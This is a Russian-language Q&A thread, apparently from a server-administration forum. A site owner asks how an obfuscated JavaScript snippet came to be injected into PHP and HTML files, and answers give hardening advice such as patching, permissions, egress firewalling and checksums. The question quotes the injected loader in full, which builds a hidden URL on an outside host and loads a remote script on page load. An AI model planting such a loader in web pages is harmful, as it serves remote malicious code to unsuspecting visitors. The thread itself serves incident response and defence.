Вредоносный скрипт на сервере LAMP
Недавно мы заметили, что вредоносный скрипт вставляется в несколько файлов PHP и HTML на нашем домене Questoons.com и в различные дополнительные домены, размещенные в этой учетной записи. Сценарий вставляется в конец файла, а код выглядит так:
<script>/*CODE1*/ try{window.onload = function(){var Q236s4ic4454clw = document.createElement('script');Q236s4ic4454clw.setAttribute('type', 'text/javascript');Q236s4ic4454clw.setAttribute('id', 'myscript1');Q236s4ic4454clw.setAttribute('src', 'h(t)!^t^))p#@:&&/(##/&$#c^$$l^@)(i&(c$^)k))#$s^o$#r!^)^-$$$&c@$o#^m$!#.#&(e((a!!s)(@t)&m((o@^^n!$!e&^&(y$#).#&c$@o$@!$^m(##(.@m@o@(b(^i&#l#!@e@)@&(-(d)&(e^&@(.))@&h)@@@o^^@m!e#&&)s)a#$$l$$#e^@!p^@l&@u#((^s^#@(.$)r$$u(:!$8!$0&$&8)@$0$!)/!o#&@c##@@n(@^!.))n@e@.)&j!@^#$p#/)^@o^c^n)((.()n^)e^$.@!)$j!!^(p#!/@&)c^(l&(a&s(^s@!m^@a($^t#e!#^@)s$.^c^&#o((&m&/)(&@l&()i(@n)(k$@h&e)@$(l)$p^!e)$!$r$#.)&c!&n($@/$g#o^@&o!$$g$^l^&#@e$.&&!c#o@$$m(/$$'.replace(/\(|\!|&|#|\$|\)|@|\^/ig, ''));Q236s4ic4454clw.setAttribute('defer', 'defer');document.body.appendChild(Q236s4ic4454clw);}} catch(e) {}</script>
Пожалуйста, расскажите, как это могло произойти, и как мы можем остановить его распространение и предотвратить возникновение новых инфекций.
С уважением,
Винаяк
2 ответа
Сам код сценария ничего не говорит о том, как он туда попал - скорее всего, программное обеспечение, работающее на вашем сервере, или сетевая настройка вашего сервера привели вас туда (например, система управления контентом, программное обеспечение форума и т. Д., Который вы используете, функции файлового сервера или Другой)
Без анализа ваших лог-файлов (которые могут быть изменены) и программного обеспечения (и версий), которое вы используете, ничего нельзя сказать о причине. Просто о мерах предосторожности, которым вы должны следовать в будущем:
Среди них:
- Если вы используете стандартные компоненты (с открытым или закрытым исходным кодом), убедитесь, что у вас всегда установлена последняя версия
- подписывайтесь на свой список рассылки поставщиков программного обеспечения, куда они отправляют уведомления об обновлениях и проблемах безопасности (также для проектов с открытым исходным кодом)
- при наличии обновлений безопасности: обновляйте как можно быстрее.
- убедитесь, что учетная запись пользователя, которую использует веб-сервер, не имеет прав на запись в любой каталог, обслуживаемый веб-сервером
- используйте хорошо проверенное программное обеспечение, известное своей надежностью, вместо случайного примера кода, чтобы взломать ваше собственное решение
- знать о типичных проблемах безопасности в используемой среде и о том, как защитить сервер от атак (например, php может позволить включить удаленный код для выполнения на сервере)
- запустите ваш веб-сервер за брандмауэром, который запрещает веб-серверу выходить в Интернет.
- ограничить доступ к другим сервисам (например, ssh, nfs, samba и т. д.) для тех, кто действительно в них нуждается
Там больше - это первое, что приходит на ум. В ответ здесь вы действительно можете получить только первое представление о том, что делать. Стандартные процедуры укрепления системы хорошо документированы повсюду. Будьте готовы: это тяжелая работа.
Существует множество векторов, ведущих к манипулированию файлами, прежде всего вам необходимо убедиться, что программное обеспечение, обеспечивающее доступ к вашим файлам, обновлено (ftp/http/etc), что пароли имеют большую сложность, что ваши файлы имеют правильные Права доступа и владение файловой системой, вы должны убедиться, что код, выполняемый на сервере (php для ex), правильно очищает входные данные, контрольные суммы файлов также является хорошим вариантом. Теперь, когда вы были скомпрометированы, вы наверняка будете более уверены в восстановлении сервера, изменении всех паролей и проверке кода, выполняющегося на нем.